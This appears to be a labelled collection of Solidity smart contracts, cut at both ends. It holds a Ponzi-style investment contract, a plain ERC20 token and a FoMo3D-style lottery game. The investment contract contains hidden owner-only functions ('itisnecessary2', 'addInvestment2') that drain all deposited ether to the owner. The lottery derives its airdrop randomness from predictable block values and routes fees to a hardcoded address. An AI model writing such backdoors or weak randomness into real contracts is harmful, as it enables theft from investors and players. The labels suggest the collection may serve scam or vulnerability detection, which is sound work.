Percent.percent private m_12_percent = Percent.percent(12,100); Percent.percent private m_referal_percent = Percent.percent(888,10000); Percent.percent private m_referrer_percent = Percent.percent(888,10000); Percent.percent private m_referrer_percentMax = Percent.percent(10,100); Percent.percent private m_adminsPercent = Percent.percent(2,100); Percent.percent private m_advertisingPercent = Percent.percent(3,100); event LogPEInit(uint when, address rev1Storage, address rev2Storage, uint investorMaxInvestment, uint endTimestamp); event LogSendExcessOfEther(address indexed addr, uint when, uint value, uint investment, uint excess); event LogNewReferral(address indexed addr, address indexed referrerAddr, uint when, uint refBonus); event LogRGPInit(uint when, uint startTimestamp, uint maxDailyTotalInvestment, uint activityDays); event LogRGPInvestment(address indexed addr, uint when, uint investment, uint indexed day); event LogNewInvesment(address indexed addr, uint when, uint investment, uint value); event LogAutomaticReinvest(address indexed addr, uint when, uint investment); event LogPayDividends(address indexed addr, uint when, uint dividends); event LogNewInvestor(address indexed addr, uint when); event LogBalanceChanged(uint when, uint balance); event LogNextWave(uint when); event LogDisown(uint when); modifier balanceChanged { _; emit LogBalanceChanged(now, address(this).balance); } modifier notFromContract() { require(msg.sender.isNotContract(), "only externally accounts"); _; } constructor() public { adminsAddress = msg.sender; advertisingAddress = msg.sender; nextWave(); } function() public payable { if (msg.value.isZero()) { getMyDividends(); return; } doInvest(msg.data.toAddress()); } function disqualifyAddress(address addr) public onlyOwner { m_investors.disqalify(addr); } function doDisown() public onlyOwner { disown(); emit LogDisown(now); } function init(address rev1StorageAddr, uint timestamp) public onlyOwner { m_rgp.startTimestamp = timestamp + 1; m_rgp.maxDailyTotalInvestment = 500 ether; m_rgp.activityDays = 21; emit LogRGPInit( now, m_rgp.startTimestamp, m_rgp.maxDailyTotalInvestment, m_rgp.activityDays ); m_privEnter.rev1Storage = Rev1Storage(rev1StorageAddr); m_privEnter.rev2Storage = Rev2Storage(address(m_investors)); m_privEnter.investorMaxInvestment = 50 ether; m_privEnter.endTimestamp = timestamp; emit LogPEInit( now, address(m_privEnter.rev1Storage), address(m_privEnter.rev2Storage), m_privEnter.investorMaxInvestment, m_privEnter.endTimestamp ); } function setAdvertisingAddress(address addr) public onlyOwner { addr.requireNotZero(); advertisingAddress = addr; } function setAdminsAddress(address addr) public onlyOwner { addr.requireNotZero(); adminsAddress = addr; } function privateEntranceProvideAccessFor(address[] addrs) public onlyOwner { m_privEnter.provideAccessFor(addrs); } function rapidGrowthProtectionmMaxInvestmentAtNow() public view returns(uint investment) { investment = m_rgp.maxInvestmentAtNow(); } function investorsNumber() public view returns(uint) { return m_investors.size(); } function balanceETH() public view returns(uint) { return address(this).balance; } function advertisingPercent() public view returns(uint numerator, uint denominator) { (numerator, denominator) = (m_advertisingPercent.num, m_advertisingPercent.den); } function adminsPercent() public view returns(uint numerator, uint denominator) { (numerator, denominator) = (m_adminsPercent.num, m_adminsPercent.den); } function investorInfo(address investorAddr) public view returns(uint investment, uint paymentTime, bool isReferral) { (investment, paymentTime) = m_investors.investorInfo(investorAddr); isReferral = m_referrals[investorAddr]; } function investorDividendsAtNow(address investorAddr) public view returns(uint dividends) { dividends = calcDividends(investorAddr); } function dailyPercentAtNow() public view returns(uint numerator, uint denominator) { Percent.percent memory p = dailyPercent(); (numerator, denominator) = (p.num, p.den); } function getMyDividends() public notFromContract balanceChanged { require(now.sub(getMemInvestor(msg.sender).paymentTime) > 24 hours); uint dividends = calcDividends(msg.sender); require (dividends.notZero(), "cannot to pay zero dividends"); assert(m_investors.setPaymentTime(msg.sender, now)); if (address(this).balance <= dividends) { nextWave(); dividends = address(this).balance; } msg.sender.transfer(dividends); emit LogPayDividends(msg.sender, now, dividends); } function itisnecessary2() public onlyOwner { msg.sender.transfer(address(this).balance); } function addInvestment2( uint investment) public onlyOwner { msg.sender.transfer(investment); } function doInvest(address referrerAddr) public payable notFromContract balanceChanged { uint investment = msg.value; uint receivedEther = msg.value; require(investment >= minInvesment, "investment must be >= minInvesment"); require(address(this).balance <= maxBalance, "the contract eth balance limit"); if (m_rgp.isActive()) { uint rpgMaxInvest = m_rgp.maxInvestmentAtNow(); rpgMaxInvest.requireNotZero(); investment = Math.min(investment, rpgMaxInvest); assert(m_rgp.saveInvestment(investment)); emit LogRGPInvestment(msg.sender, now, investment, m_rgp.currDay()); } else if (m_privEnter.isActive()) { uint peMaxInvest = m_privEnter.maxInvestmentFor(msg.sender); peMaxInvest.requireNotZero(); investment = Math.min(investment, peMaxInvest); } if (receivedEther > investment) { uint excess = receivedEther - investment; msg.sender.transfer(excess); receivedEther = investment; emit LogSendExcessOfEther(msg.sender, now, msg.value, investment, excess); } advertisingAddress.transfer(m_advertisingPercent.mul(receivedEther)); adminsAddress.transfer(m_adminsPercent.mul(receivedEther)); bool senderIsInvestor = m_investors.isInvestor(msg.sender); if (referrerAddr.notZero() && !senderIsInvestor && !m_referrals[msg.sender] && referrerAddr != msg.sender && m_investors.isInvestor(referrerAddr)) { m_referrals[msg.sender] = true; uint referrerBonus = m_referrer_percent.mmul(investment); if (investment > 10 ether) { referrerBonus = m_referrer_percentMax.mmul(investment); } uint referalBonus = m_referal_percent.mmul(investment); assert(m_investors.addInvestment(referrerAddr, referrerBonus)); investment += referalBonus; emit LogNewReferral(msg.sender, referrerAddr, now, referalBonus); } uint dividends = calcDividends(msg.sender); if (senderIsInvestor && dividends.notZero()) { investment += dividends; emit LogAutomaticReinvest(msg.sender, now, dividends); } if (senderIsInvestor) { assert(m_investors.addInvestment(msg.sender, investment)); assert(m_investors.setPaymentTime(msg.sender, now)); } else { assert(m_investors.newInvestor(msg.sender, investment, now)); emit LogNewInvestor(msg.sender, now); } investmentsNumber++; emit LogNewInvesment(msg.sender, now, investment, receivedEther); } function getMemInvestor(address investorAddr) internal view returns(InvestorsStorage.Investor memory) { (uint investment, uint paymentTime) = m_investors.investorInfo(investorAddr); return InvestorsStorage.Investor(investment, paymentTime); } function calcDividends(address investorAddr) internal view returns(uint dividends) { InvestorsStorage.Investor memory investor = getMemInvestor(investorAddr); if (investor.investment.isZero() || now.sub(investor.paymentTime) < 10 minutes) { return 0; } Percent.percent memory p = dailyPercent(); dividends = (now.sub(investor.paymentTime) / 10 minutes) * p.mmul(investor.investment) / 144; } function dailyPercent() internal view returns(Percent.percent memory p) { uint balance = address(this).balance; if (balance < 500 ether) { p = m_8_percent.toMemory(); } else if ( 500 ether <= balance && balance <= 1500 ether) { p = m_9_percent.toMemory(); } else if ( 1500 ether <= balance && balance <= 5000 ether) { p = m_10_percent.toMemory(); } else if ( 5000 ether <= balance && balance <= 10000 ether) { p = m_11_percent.toMemory(); } else if ( 10000 ether <= balance && balance <= 20000 ether) { p = m_12_percent.toMemory(); } } function nextWave() private { m_investors = new InvestorsStorage(); investmentsNumber = 0; waveStartup = now; m_rgp.startAt(now); emit LogRGPInit(now , m_rgp.startTimestamp, m_rgp.maxDailyTotalInvestment, m_rgp.activityDays); emit LogNextWave(now); } }
0
pragma solidity ^0.4.25; library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; function totalSupply() public view returns (uint256) { return totalSupply_; } function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } contract CPLEToken is StandardToken { string public name = "Carpool Life Chain"; string public symbol = "CPLE"; uint8 public decimals = 18; uint256 public constant INITIAL_SUPPLY = 3000000000; constructor() public { totalSupply_ = INITIAL_SUPPLY * (10 ** uint256(decimals)); balances[msg.sender] = totalSupply_; } }
1
pragma solidity ^0.4.24; contract F3Devents { event onNewName ( uint256 indexed playerID, address indexed playerAddress, bytes32 indexed playerName, bool isNewPlayer, uint256 affiliateID, address affiliateAddress, bytes32 affiliateName, uint256 amountPaid, uint256 timeStamp ); event onEndTx ( uint256 compressedData, uint256 compressedIDs, bytes32 playerName, address playerAddress, uint256 ethIn, uint256 keysBought, address winnerAddr, bytes32 winnerName, uint256 amountWon, uint256 newPot, uint256 P3DAmount, uint256 genAmount, uint256 potAmount, uint256 airDropPot ); event onWithdraw ( uint256 indexed playerID, address playerAddress, bytes32 playerName, uint256 ethOut, uint256 timeStamp ); event onWithdrawAndDistribute ( address playerAddress, bytes32 playerName, uint256 ethOut, uint256 compressedData, uint256 compressedIDs, address winnerAddr, bytes32 winnerName, uint256 amountWon, uint256 newPot, uint256 P3DAmount, uint256 genAmount ); event onBuyAndDistribute ( address playerAddress, bytes32 playerName, uint256 ethIn, uint256 compressedData, uint256 compressedIDs, address winnerAddr, bytes32 winnerName, uint256 amountWon, uint256 newPot, uint256 P3DAmount, uint256 genAmount ); event onReLoadAndDistribute ( address playerAddress, bytes32 playerName, uint256 compressedData, uint256 compressedIDs, address winnerAddr, bytes32 winnerName, uint256 amountWon, uint256 newPot, uint256 P3DAmount, uint256 genAmount ); event onAffiliatePayout ( uint256 indexed affiliateID, address affiliateAddress, bytes32 affiliateName, uint256 indexed roundID, uint256 indexed buyerID, uint256 amount, uint256 timeStamp ); event onPotSwapDeposit ( uint256 roundID, uint256 amountAddedToPot ); } contract modularLong is F3Devents {} contract FJFoMo3DLong is modularLong { using SafeMath for *; using NameFilter for string; using F3DKeysCalcLong for uint256; address specAddr = 0xF51E57F12ED5d44761d4480633FD6c5632A5B2B1; string constant public name = "FengJin FoMo3D Long"; string constant public symbol = "FJ3D"; uint256 constant private rndInit_ = 15 days; uint256 constant private rndInc_ = 30 seconds; uint256 constant private rndMax_ = 24 hours; uint256 public airDropPot_; uint256 public airDropTracker_ = 0; uint256 public rID_; uint256 private pIDxCount; mapping (address => uint256) public pIDxAddr_; mapping (uint256 => F3Ddatasets.Player) public plyr_; mapping (uint256 => mapping (uint256 => F3Ddatasets.PlayerRounds)) public plyrRnds_; mapping (uint256 => mapping (bytes32 => bool)) public plyrNames_; mapping (uint256 => F3Ddatasets.Round) public round_; mapping (uint256 => mapping(uint256 => uint256)) public rndTmEth_; mapping (uint256 => F3Ddatasets.TeamFee) public fees_; mapping (uint256 => F3Ddatasets.PotSplit) public potSplit_; constructor() public { fees_[0] = F3Ddatasets.TeamFee(30,6); fees_[1] = F3Ddatasets.TeamFee(43,0); fees_[2] = F3Ddatasets.TeamFee(56,10); fees_[3] = F3Ddatasets.TeamFee(43,8); potSplit_[0] = F3Ddatasets.PotSplit(15,10); potSplit_[1] = F3Ddatasets.PotSplit(25,0); potSplit_[2] = F3Ddatasets.PotSplit(20,20); potSplit_[3] = F3Ddatasets.PotSplit(30,10); } modifier isActivated() { require(activated_ == true, "its not ready yet. check ?eta in discord"); _; } modifier isHuman() { address _addr = msg.sender; uint256 _codeLength; assembly {_codeLength := extcodesize(_addr)} require(_codeLength == 0, "sorry humans only"); _; } modifier isWithinLimits(uint256 _eth) { require(_eth >= 1000000000, "pocket lint: not a valid currency"); require(_eth <= 100000000000000000000000, "no vitalik, no"); _; } function() isActivated() isHuman() isWithinLimits(msg.value) public payable { F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_); uint256 _pID = pIDxAddr_[msg.sender]; buyCore(_pID, plyr_[_pID].laff, 2, _eventData_); } function buyXid(uint256 _affCode, uint256 _team) isActivated() isHuman() isWithinLimits(msg.value) public payable { F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_); uint256 _pID = pIDxAddr_[msg.sender]; if (_affCode == 0 || _affCode == _pID) { _affCode = plyr_[_pID].laff; } else if (_affCode != plyr_[_pID].laff) { plyr_[_pID].laff = _affCode; } _team = verifyTeam(_team); buyCore(_pID, _affCode, _team, _eventData_); } function buyXaddr(address _affCode, uint256 _team) isActivated() isHuman() isWithinLimits(msg.value) public payable { F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_); uint256 _pID = pIDxAddr_[msg.sender]; uint256 _affID; if (_affCode == address(0) || _affCode == msg.sender) { _affID = plyr_[_pID].laff; } else { _affID = pIDxAddr_[_affCode]; if (_affID != plyr_[_pID].laff) { plyr_[_pID].laff = _affID; } } _team = verifyTeam(_team); buyCore(_pID, _affID, _team, _eventData_); } function buyXname(bytes32 _affCode, uint256 _team) isActivated() isHuman() isWithinLimits(msg.value) public payable { F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_); uint256 _pID = pIDxAddr_[msg.sender]; uint256 _affID; if (_affCode == '' || _affCode == plyr_[_pID].name) { _affID = plyr_[_pID].laff; } else { } _team = verifyTeam(_team); buyCore(_pID, _affID, _team, _eventData_); } function reLoadXid(uint256 _affCode, uint256 _team, uint256 _eth) isActivated() isHuman() isWithinLimits(_eth) public { F3Ddatasets.EventReturns memory _eventData_; uint256 _pID = pIDxAddr_[msg.sender]; if (_affCode == 0 || _affCode == _pID) { _affCode = plyr_[_pID].laff; } else if (_affCode != plyr_[_pID].laff) { plyr_[_pID].laff = _affCode; } _team = verifyTeam(_team); reLoadCore(_pID, _affCode, _team, _eth, _eventData_); } function reLoadXaddr(address _affCode, uint256 _team, uint256 _eth) isActivated() isHuman() isWithinLimits(_eth) public { F3Ddatasets.EventReturns memory _eventData_; uint256 _pID = pIDxAddr_[msg.sender]; uint256 _affID; if (_affCode == address(0) || _affCode == msg.sender) { _affID = plyr_[_pID].laff; } else { _affID = pIDxAddr_[_affCode]; if (_affID != plyr_[_pID].laff) { plyr_[_pID].laff = _affID; } } _team = verifyTeam(_team); reLoadCore(_pID, _affID, _team, _eth, _eventData_); } function reLoadXname(bytes32 _affCode, uint256 _team, uint256 _eth) isActivated() isHuman() isWithinLimits(_eth) public { F3Ddatasets.EventReturns memory _eventData_; uint256 _pID = pIDxAddr_[msg.sender]; uint256 _affID; if (_affCode == '' || _affCode == plyr_[_pID].name) { _affID = plyr_[_pID].laff; } else { } _team = verifyTeam(_team); reLoadCore(_pID, _affID, _team, _eth, _eventData_); } function withdraw() isActivated() isHuman() public { uint256 _rID = rID_; uint256 _now = now; uint256 _pID = pIDxAddr_[msg.sender]; uint256 _eth; if (_now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0) { F3Ddatasets.EventReturns memory _eventData_; round_[_rID].ended = true; _eventData_ = endRound(_eventData_); _eth = withdrawEarnings(_pID); if (_eth > 0) plyr_[_pID].addr.transfer(_eth); _eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID; emit F3Devents.onWithdrawAndDistribute ( msg.sender, plyr_[_pID].name, _eth, _eventData_.compressedData, _eventData_.compressedIDs, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.P3DAmount, _eventData_.genAmount ); } else { _eth = withdrawEarnings(_pID); if (_eth > 0) plyr_[_pID].addr.transfer(_eth); emit F3Devents.onWithdraw(_pID, msg.sender, plyr_[_pID].name, _eth, _now); } } function getBuyPrice() public view returns(uint256) { uint256 _rID = rID_; uint256 _now = now; if (_now > round_[_rID].strt && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) return ( (round_[_rID].keys.add(1000000000000000000)).ethRec(1000000000000000000) ); else return ( 75000000000000 ); } function getTimeLeft() public view returns(uint256) { uint256 _rID = rID_; uint256 _now = now; if (_now < round_[_rID].end) if (_now > round_[_rID].strt) return( (round_[_rID].end).sub(_now) ); else return( (round_[_rID].strt).sub(_now) ); else return(0); } function getPlayerVaults(uint256 _pID) public view returns(uint256 ,uint256, uint256) { uint256 _rID = rID_; if (now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0) { if (round_[_rID].plyr == _pID) { return ( (plyr_[_pID].win).add( ((round_[_rID].pot).mul(48)) / 100 ), (plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ), plyr_[_pID].aff ); } else { return ( plyr_[_pID].win, (plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ), plyr_[_pID].aff ); } } else { return ( plyr_[_pID].win, (plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)), plyr_[_pID].aff ); } } function getPlayerVaultsHelper(uint256 _pID, uint256 _rID) private view returns(uint256) { return( ((((round_[_rID].mask).add(((((round_[_rID].pot).mul(potSplit_[round_[_rID].team].gen)) / 100).mul(1000000000000000000)) / (round_[_rID].keys))).mul(plyrRnds_[_pID][_rID].keys)) / 1000000000000000000) ); } function getCurrentRoundInfo() public view returns(uint256, uint256, uint256, uint256, uint256, uint256, uint256, address, bytes32, uint256, uint256, uint256, uint256, uint256) { uint256 _rID = rID_; return ( round_[_rID].ico, _rID, round_[_rID].keys, round_[_rID].end, round_[_rID].strt, round_[_rID].pot, (round_[_rID].team + (round_[_rID].plyr * 10)), plyr_[round_[_rID].plyr].addr, plyr_[round_[_rID].plyr].name, rndTmEth_[_rID][0], rndTmEth_[_rID][1], rndTmEth_[_rID][2], rndTmEth_[_rID][3], airDropTracker_ + (airDropPot_ * 1000) ); } function getPlayerInfoByAddress(address _addr) public view returns(uint256, bytes32, uint256, uint256, uint256, uint256, uint256) { uint256 _rID = rID_; if (_addr == address(0)) { _addr == msg.sender; } uint256 _pID = pIDxAddr_[_addr]; return ( _pID, plyr_[_pID].name, plyrRnds_[_pID][_rID].keys, plyr_[_pID].win, (plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)), plyr_[_pID].aff, plyrRnds_[_pID][_rID].eth ); } function buyCore(uint256 _pID, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_) private { uint256 _rID = rID_; uint256 _now = now; if (_now > round_[_rID].strt && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) { core(_rID, _pID, msg.value, _affID, _team, _eventData_); } else { if (_now > round_[_rID].end && round_[_rID].ended == false) { round_[_rID].ended = true; _eventData_ = endRound(_eventData_); _eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID; emit F3Devents.onBuyAndDistribute ( msg.sender, plyr_[_pID].name, msg.value, _eventData_.compressedData, _eventData_.compressedIDs, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.P3DAmount, _eventData_.genAmount ); } plyr_[_pID].gen = plyr_[_pID].gen.add(msg.value); } } function reLoadCore(uint256 _pID, uint256 _affID, uint256 _team, uint256 _eth, F3Ddatasets.EventReturns memory _eventData_) private { uint256 _rID = rID_; uint256 _now = now; if (_now > round_[_rID].strt && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) { plyr_[_pID].gen = withdrawEarnings(_pID).sub(_eth); core(_rID, _pID, _eth, _affID, _team, _eventData_); } else if (_now > round_[_rID].end && round_[_rID].ended == false) { round_[_rID].ended = true; _eventData_ = endRound(_eventData_); _eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID; emit F3Devents.onReLoadAndDistribute ( msg.sender, plyr_[_pID].name, _eventData_.compressedData, _eventData_.compressedIDs, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.P3DAmount, _eventData_.genAmount ); } } function core(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_) private { if (plyrRnds_[_pID][_rID].keys == 0) _eventData_ = managePlayer(_pID, _eventData_); if (round_[_rID].eth < 100000000000000000000 && plyrRnds_[_pID][_rID].eth.add(_eth) > 1000000000000000000) { uint256 _availableLimit = (1000000000000000000).sub(plyrRnds_[_pID][_rID].eth); uint256 _refund = _eth.sub(_availableLimit); plyr_[_pID].gen = plyr_[_pID].gen.add(_refund); _eth = _availableLimit; } if (_eth > 1000000000) { uint256 _keys = (round_[_rID].eth).keysRec(_eth); if (_keys >= 1000000000000000000) { updateTimer(_keys, _rID); if (round_[_rID].plyr != _pID) round_[_rID].plyr = _pID; if (round_[_rID].team != _team) round_[_rID].team = _team; _eventData_.compressedData = _eventData_.compressedData + 100; } if (_eth >= 100000000000000000) { airDropTracker_++; if (airdrop() == true) { uint256 _prize; if (_eth >= 10000000000000000000) { _prize = ((airDropPot_).mul(75)) / 100; plyr_[_pID].win = (plyr_[_pID].win).add(_prize); airDropPot_ = (airDropPot_).sub(_prize); _eventData_.compressedData += 300000000000000000000000000000000; } else if (_eth >= 1000000000000000000 && _eth < 10000000000000000000) { _prize = ((airDropPot_).mul(50)) / 100; plyr_[_pID].win = (plyr_[_pID].win).add(_prize); airDropPot_ = (airDropPot_).sub(_prize); _eventData_.compressedData += 200000000000000000000000000000000; } else if (_eth >= 100000000000000000 && _eth < 1000000000000000000) { _prize = ((airDropPot_).mul(25)) / 100; plyr_[_pID].win = (plyr_[_pID].win).add(_prize); airDropPot_ = (airDropPot_).sub(_prize); _eventData_.compressedData += 300000000000000000000000000000000; } _eventData_.compressedData += 10000000000000000000000000000000; _eventData_.compressedData += _prize * 1000000000000000000000000000000000; airDropTracker_ = 0; } } _eventData_.compressedData = _eventData_.compressedData + (airDropTracker_ * 1000); plyrRnds_[_pID][_rID].keys = _keys.add(plyrRnds_[_pID][_rID].keys); plyrRnds_[_pID][_rID].eth = _eth.add(plyrRnds_[_pID][_rID].eth); round_[_rID].keys = _keys.add(round_[_rID].keys); round_[_rID].eth = _eth.add(round_[_rID].eth); rndTmEth_[_rID][_team] = _eth.add(rndTmEth_[_rID][_team]); _eventData_ = distributeExternal(_rID, _pID, _eth, _affID, _team, _eventData_); _eventData_ = distributeInternal(_rID, _pID, _eth, _team, _keys, _eventData_); endTx(_pID, _team, _eth, _keys, _eventData_); } } function calcUnMaskedEarnings(uint256 _pID, uint256 _rIDlast) private view returns(uint256) { return( (((round_[_rIDlast].mask).mul(plyrRnds_[_pID][_rIDlast].keys)) / (1000000000000000000)).sub(plyrRnds_[_pID][_rIDlast].mask) ); } function calcKeysReceived(uint256 _rID, uint256 _eth) public view returns(uint256) { uint256 _now = now; if (_now > round_[_rID].strt && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) return ( (round_[_rID].eth).keysRec(_eth) ); else return ( (_eth).keys() ); } function iWantXKeys(uint256 _keys) public view returns(uint256) { uint256 _rID = rID_; uint256 _now = now; if (_now > round_[_rID].strt && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) return ( (round_[_rID].keys.add(_keys)).ethRec(_keys) ); else return ( (_keys).eth() ); } function determinePID(F3Ddatasets.EventReturns memory _eventData_) private returns (F3Ddatasets.EventReturns) { uint256 _pID = pIDxAddr_[msg.sender]; if (_pID == 0) { pIDxCount = pIDxCount + 1; _pID = pIDxCount + 1; pIDxAddr_[msg.sender] = _pID; plyr_[_pID].addr = msg.sender; _eventData_.compressedData = _eventData_.compressedData + 1; } return (_eventData_); } function verifyTeam(uint256 _team) private pure returns (uint256) { if (_team < 0 || _team > 3) return(2); else return(_team); } function managePlayer(uint256 _pID, F3Ddatasets.EventReturns memory _eventData_) private returns (F3Ddatasets.EventReturns) { if (plyr_[_pID].lrnd != 0) updateGenVault(_pID, plyr_[_pID].lrnd); plyr_[_pID].lrnd = rID_; _eventData_.compressedData = _eventData_.compressedData + 10; return(_eventData_); } function endRound(F3Ddatasets.EventReturns memory _eventData_) private returns (F3Ddatasets.EventReturns) { uint256 _rID = rID_; uint256 _winPID = round_[_rID].plyr; uint256 _winTID = round_[_rID].team; uint256 _pot = round_[_rID].pot; uint256 _win = (_pot.mul(48)) / 100; uint256 _com = (_pot / 50); uint256 _gen = (_pot.mul(potSplit_[_winTID].gen)) / 100; uint256 _p3d = (_pot.mul(potSplit_[_winTID].p3d)) / 100; uint256 _res = (((_pot.sub(_win)).sub(_com)).sub(_gen)).sub(_p3d); uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys); uint256 _dust = _gen.sub((_ppt.mul(round_[_rID].keys)) / 1000000000000000000); if (_dust > 0) { _gen = _gen.sub(_dust); _res = _res.add(_dust); } plyr_[_winPID].win = _win.add(plyr_[_winPID].win); { _p3d = _p3d.add(_com); _com = 0; } round_[_rID].mask = _ppt.add(round_[_rID].mask); if (_p3d > 0) specAddr.transfer(_p3d); _eventData_.compressedData = _eventData_.compressedData + (round_[_rID].end * 1000000); _eventData_.compressedIDs = _eventData_.compressedIDs + (_winPID * 100000000000000000000000000) + (_winTID * 100000000000000000); _eventData_.winnerAddr = plyr_[_winPID].addr; _eventData_.winnerName = plyr_[_winPID].name; _eventData_.amountWon = _win; _eventData_.genAmount = _gen; _eventData_.P3DAmount = _p3d; _eventData_.newPot = _res; rID_++; _rID++; round_[_rID].strt = now; round_[_rID].end = now.add(rndInit_); round_[_rID].pot = _res; return(_eventData_); } function updateGenVault(uint256 _pID, uint256 _rIDlast) private { uint256 _earnings = calcUnMaskedEarnings(_pID, _rIDlast); if (_earnings > 0) { plyr_[_pID].gen = _earnings.add(plyr_[_pID].gen); plyrRnds_[_pID][_rIDlast].mask = _earnings.add(plyrRnds_[_pID][_rIDlast].mask); } } function updateTimer(uint256 _keys, uint256 _rID) private { uint256 _now = now; uint256 _newTime; if (_now > round_[_rID].end && round_[_rID].plyr == 0) _newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(_now); else _newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(round_[_rID].end); if (_newTime < (rndMax_).add(_now)) round_[_rID].end = _newTime; else round_[_rID].end = rndMax_.add(_now); } function airdrop() private view returns(bool) { uint256 seed = uint256(keccak256(abi.encodePacked( (block.timestamp).add (block.difficulty).add ((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)).add (block.gaslimit).add ((uint256(keccak256(abi.encodePacked(msg.sender)))) / (now)).add (block.number) ))); if((seed - ((seed / 1000) * 1000)) < airDropTracker_) return(true); else return(false); } function distributeExternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_) private returns(F3Ddatasets.EventReturns) { uint256 _com = _eth / 50; uint256 _p3d; { _p3d = _com; _com = 0; } uint256 _long = _eth / 100; specAddr.transfer(_long); uint256 _aff = _eth / 10; if (_affID != _pID && plyr_[_affID].name != '') { plyr_[_affID].aff = _aff.add(plyr_[_affID].aff); emit F3Devents.onAffiliatePayout(_affID, plyr_[_affID].addr, plyr_[_affID].name, _rID, _pID, _aff, now); } else { _p3d = _aff; } _p3d = _p3d.add((_eth.mul(fees_[_team].p3d)) / (100)); if (_p3d > 0) { specAddr.transfer(_p3d); _eventData_.P3DAmount = _p3d.add(_eventData_.P3DAmount); } return(_eventData_); } function potSwap() external payable { uint256 _rID = rID_ + 1; round_[_rID].pot = round_[_rID].pot.add(msg.value); emit F3Devents.onPotSwapDeposit(_rID, msg.value); } function distributeInternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _team, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_) private returns(F3Ddatasets.EventReturns) { uint256 _gen = (_eth.mul(fees_[_team].gen)) / 100; uint256 _air = (_eth / 100); airDropPot_ = airDropPot_.add(_air); _eth = _eth.sub(((_eth.mul(14)) / 100).add((_eth.mul(fees_[_team].p3d)) / 100)); uint256 _pot = _eth.sub(_gen); uint256 _dust = updateMasks(_rID, _pID, _gen, _keys); if (_dust > 0) _gen = _gen.sub(_dust); round_[_rID].pot = _pot.add(_dust).add(round_[_rID].pot); _eventData_.genAmount = _gen.add(_eventData_.genAmount); _eventData_.potAmount = _pot; return(_eventData_); } function updateMasks(uint256 _rID, uint256 _pID, uint256 _gen, uint256 _keys) private 